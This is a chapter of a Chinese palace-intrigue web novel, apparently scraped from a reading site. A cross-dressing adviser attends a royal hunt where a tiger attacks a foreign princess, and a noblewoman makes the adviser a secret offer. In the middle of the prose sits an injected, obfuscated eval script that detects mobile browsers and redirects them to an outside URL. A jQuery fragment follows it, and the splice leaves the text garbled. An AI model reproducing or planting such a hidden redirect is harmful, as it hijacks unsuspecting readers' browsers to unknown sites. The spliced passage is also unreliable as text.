宴会结束时已将近人定,京中设有宵禁,长街上喧嚣退散,只有零零索索的几个收摊的人影。
瑶光殿前马车声辚辚不绝,密集如雨。
江惟叙坐在车中,身旁的宣德炉牢牢嵌在紫檀桌上,里面隐约有点点微光,随后青烟袅袅升起。
车窗的位置就被轻敲了两下,虽是细微的震动却逃不过就在军营的人。接着,车外传来苏折云清朗的声音。
“殿下,我有要事相商。”
车内空间宽大,苏折云坐得离江惟叙稍远,底下的垫子轻软绵柔,两人身上的衣料都没有任何接触。
林成运驾车娴熟,车子稳稳行在道上,马蹄声都均匀有节奏。
“殿下,方才在堂上,太子让我去寻猎一事,你为何要应下?”
龙涎香的气味弥漫开来,浸染到江惟叙的鼻尖。
“为何不应?明日忽兰也在,就算太子不说我也会带你去。”
“可是我不会骑马啊!”苏折云一口闷气堵在中间,“我射箭不会,饮酒也不会,什么都不会,实在是不知道过去能做什么。”
“你不需要会,去的人里面也没几个能骑马射箭的。围场内有观台,到时候你和忽兰在那就行。”
“殿下,我可以帮你毁掉太子的谋划。但是我还是想说,无论后来的事情如何发展,我都已经心有所属了,是不会娶公主的。”
江惟叙心中涌上一阵烦闷,拉开里层的半扇竹帘,“随你。但太子一党多是心计深沉之人,到时我会派陆寻在你身边,别和他们发生冲突,你独坐钓鱼台就行。”
苏折云点头,低头摩挲腰上的双鱼玉佩。
“我赐你的莲花佩呢?”江惟叙睨了一眼,突然发问。
苏折云手上的动作一顿,眨眼认真回想了一下。
“我放在衣橱的锦盒里了,殿下要用吗?”
“不用,既是赐给你了自然是你的东西。明天继续戴上它吧,我想太子的脸色一定比今夜更好看。”
苏折云静静地望着他,总觉得他对太子的讨厌已不是简单的党争了,还有一丝...生理上的厌恶?
别的不说,她从小在那样的环境长大,对别人的情绪波动极其敏锐。但她可没蠢到在当事人面前打听八卦,就一路垂着头,听着车轮碾过石砖的声音。
乌鸦嘶哑,不知隐在哪处。明月高悬天边,街道上打更人的锣声散在空气中。
玉棠将明日的衣饰放在桌上,围场尘土飞扬,虽然苏折云不上场,但玉棠还是给她挑了件窄袖的深衣。用银钩挑了挑蜡芯,玉棠正准备退下,就被苏折云喊住。
“玉棠,太子和殿下可起过什么龃龉吗?今夜宴上总觉得气氛怪怪的。”
玉棠张了几次口,声音却还是堵在喉咙。
“也没有吧......殿下这样,应该与容贵妃和先皇后有关。”玉棠支支吾吾,“我进宫的晚,到贵妃身边伺候时先皇后已经仙去,贵妃宠冠后宫,这些事情只听宫里的老人闲言碎语过几句,其他的也不甚清楚。”
“闲言碎语了什么?”苏折云眼角弯起,一脸好奇状。不怪她,谁不想听一耳朵宫廷秘事呢?况且还是她顶头上司的事,她自然要打听清楚了。
“好像是先皇后嫉恨容贵妃得宠,惹得陛下厌弃,将她禁足宫中。结果皇后郁结于心,没多久就仙去了。”
只是一些流言,并没有什么实质性的消息。苏折云稍有点失望,不过也是,要是玉棠是那种爱随意打听的人,估计也不会深受贵妃器重。
烛火晃动,苏折云双手枕在脑后,看着帐上的花纹出神。
要是有什么人脉就好了,幽幽的叹气声在床榻上回荡,玉棠只是后院的人,打听不出什么消息。陆寻又是江惟叙的亲信,不敢向他打听。还有谁呢?
赵景........崔令仪.......一张张脸从脑子里闪过,她打了个哈欠,眼皮也越来越重。
......李晋......沈.......脑袋猛地清醒,苏折云从床上弹起。
对啊,还有同事沈秉文啊!要不是他在热孝,得罪太子的差事也不会落到她身上。
思路越想越清晰,沈秉文看着挺好相处的,她努力打好和同事的关系,以后什么消息打探不出来?工作都能事半功倍。
打定了主意,苏折云终于放松了身体,不一会儿就拥着薄被,见了周公。
深潭落花,一夜无梦。
——
京郊围场乃皇家专用,虽地处京畿,但车马迅疾,不到半个时辰便可抵达。
放眼望去,数匹骏马分列在马厩场上,秋草连着碧蓝的天,两色相分。
苏折云刚下马车,一身劲装的忽兰就迎了上来。她黑色的发上别着简单的银饰,身上黑与黄棕布料交错,裙摆裁短一半,腰间还系着鞭子。
苏折云打量她身上奇怪的配色,不由好奇地发问:“这是朔风族的衣物吗?这个样式倒让我想到山君。”
忽兰浅棕色的眼瞳满是笑意,说官话时语速稍慢,“是,我们朔风人最崇尚的就是威风凛凛的老虎。草原上强壮的武士还会射杀老虎送给心爱之人。”
苏折云闻言一笑,不由钦佩,“朔风一族勇武之名,果然当之无愧。”
马场上不时传来马蹄声,江惟叙看了眼忽兰的装扮,随口一问,“公主今日要骑马吗?”
“是啊,”忽兰转头接过轻弓,举到苏折云眼前,“我今天就要用你送的......”
她顿了顿,意识到什么,偏头看了一眼江惟叙,又对着苏折云扬起笑,“用端王殿下送的弓来捕猎,折云,你怎么穿这件衣服,你今天不上场吗?”
苏折云歉意一笑,“我不会骑射,就不上场了。祝公主满载而归。”
忽兰点头,连道数声可惜,不过目光落到苏折云身上的双鱼佩时,喜悦的神情又显在脸上。
两人刚闲聊几句,身旁就有仆从来报,直道众人已等候多时。
几人随即分开,江惟叙与忽兰去了场上,苏折云就跟着指引,上了数道石阶。
古人云:君子六艺。而御与射皆是六艺之一,因此世家子弟少有不精的,就是女子也多有涉猎。
所以看台上,苏折云掀帘而入时,目之所及皆是名门贵女。她此刻顶着男子的身份,心头不由浮出一丝羞愧,便随意找了个角落坐下。
“劳驾,借过。”
清丽的声音萦绕耳边,没等苏折云反应,一位身着藕色月华裙的绝色美人就坐在了她旁边,体带凝香,全身肤色如雪,面若嫦娥。
苏折云屏住呼吸,与天仙相对视,心跳都加快了几分。
“崔令仪。”
崔令仪率先开口,今日的装扮比昨夜宴上更显淡雅,额头的一颗红痣格外惹眼。
“苏折云。”
苏折云立马温和有礼地回应,随即不着痕迹地将目光移开,开始关注马场上的动静。
她一个“男子”,盯着未出阁的女子看总是欠妥。
围场里地势开阔,只有北边一座小山,也被圈了进来。
上场的女子倒是不少,因此有仆从将一些圈养的各类小兽放出,好使她们不至于空手而归。
忽兰在草原上什么野兽没见过,自然对这些不感兴趣,随着大部队去了北边的树林。
“听闻苏先生二十了,怎么还未成家?”
怎么所有人都问这个问题?
苏折云对崔令仪缓缓一笑,心里后悔当初做假户籍的时候太老实,忘了在古代二十岁已不年轻。
“先前家贫,胞妹又体弱多病,所以一直没顾上。”
场上几个熟面孔纵马入林,转眼便没了踪迹。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368255|199836||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
杨树林中,众人追着猎物分散各处,赵景则慢悠悠骑马,跟在江惟叙旁闲谈。
猎猎风声荡在耳边,马蹄踏上松软的草地时没有任何声音,
突然,数只禽鸟从东边惊起,一阵骚动和惊呼让两人立刻勒紧了缰绳。
两人没有多想,相视一眼,即刻调转马头循声而去。
深处,苍天巨树直冲云天,茂密的枝叶遮住了大部分阳光。
阴影中,忽兰已经拉紧了手里的轻弓,马尾处挂着的几只野兔还在往下滴血。
江惟叙赶到时,忽兰正在与一只老虎对峙。它的斑纹深黑如墨,肩背宽如小山,四只掌爪锋利,前身微伏,是准备攻击猎物的姿势。
忽兰是与江承和一道去的东边,可江惟叙环顾四周,并没有发现太子的身影。
老虎瞳色昏黄,找准时机便往忽兰的方向扑去。忽兰手中弓箭脱手而出,正中虎背,可那猛虎攻势不减,依旧猛冲向前。
江惟叙拔剑上前,逼得老虎分神,忽兰这才寻到空隙逃走。赵景在旁连射数箭,牵制住老虎的动向。几人当即策马散开,彼此拉开距离,形成合围之势。
老虎接连扑空,愈发暴躁,低沉的咆哮在胸腔里翻滚,前爪在地面留下数道爪痕。它猛地调转目标,朝最近的江惟叙扑去。
冷冽的长剑刺破皮肉,直抵筋骨。老虎闷吼一声,胸腔剧烈起伏,□□。
忽兰趁机将手边的野兔抛出,鲜血的气味果然引住了它,一点一点地凑过去。
三人正借着这个空当拉开距离,突然一道暗箭破空袭来。
受伤的老虎重新被激得暴怒,不顾一切朝忽兰扑去。
忽兰避闪不及,眼前的虎口瞬间逼至脚边。千钧一发之际,江承和一箭射入虎头,深红的血顺着箭身汩汩流出,老虎原地扑腾了几下,染红了底下一大片草地,随即彻底没了动静。
江承和一袭黑衣从林中走出,命手下将老虎抬走,见忽兰惊魂未定,便靠近她低声安抚。
“公主没受伤吧?别害怕,我已经把它射死,回头我命人将虎皮送到你那。”
忽兰勉强扯了个笑,江惟叙也骑马靠近,质疑江承和出现的时机,语气带上了点嘲弄。
“皇兄不是和公主在一块吗?臣弟来的时候怎么没看到皇兄?”
闻言,江承和温润的面上浮现了一丝懊悔,语气诚恳,“是我疏忽了,看到一只白狐就奋起追去,不曾想让公主陷入危险之中。”
忽兰淡淡一笑,并不追究,只说是意外。
见赵景从树林里出来,崔令仪起身往前走了几步。苏折云也看过去,太子、端王和公主也都陆陆续续骑马出来,后面数名仆从正拉着板车,上面赫然是老虎的尸体。
看台上的贵女们大多只在书中看过,亲眼所见还是第一次,便站在栏前纷纷惊叹。
苏折云也停下婆娑茶盏的手,站在崔令仪旁,心里默默谴责起伤害保护动物的行为。
崔令仪继续与她闲谈,语气一如温和,令听者如沐春风。
“苏先生少年才气,怎么不去考个科举啊?有功名在身也好安家立命。”
苏折云自嘲一笑,想到在博物馆见过的状元试卷,心里不由得打起退堂鼓。
“苏某才疏学浅,也就只能给别人出出主意罢了,考功名是不敢想了。”
场上,江惟叙的身影也出现在忽兰旁,与太子并肩而行。
“去试一试吧,我帮你。”
猝不及防的一句话传来,苏折云面上震惊,崔令仪的目光也不闪躲,如水的眼眸迸出锐气,直勾勾看着她。
“你只需要答应我一件事,我许你金榜题名,一世荣华。苏先生,你想要吗?”
苏折云还未答话,台上骤然炸开一片惊呼。她猛地转头,只见马场上已变故横生,险象环生。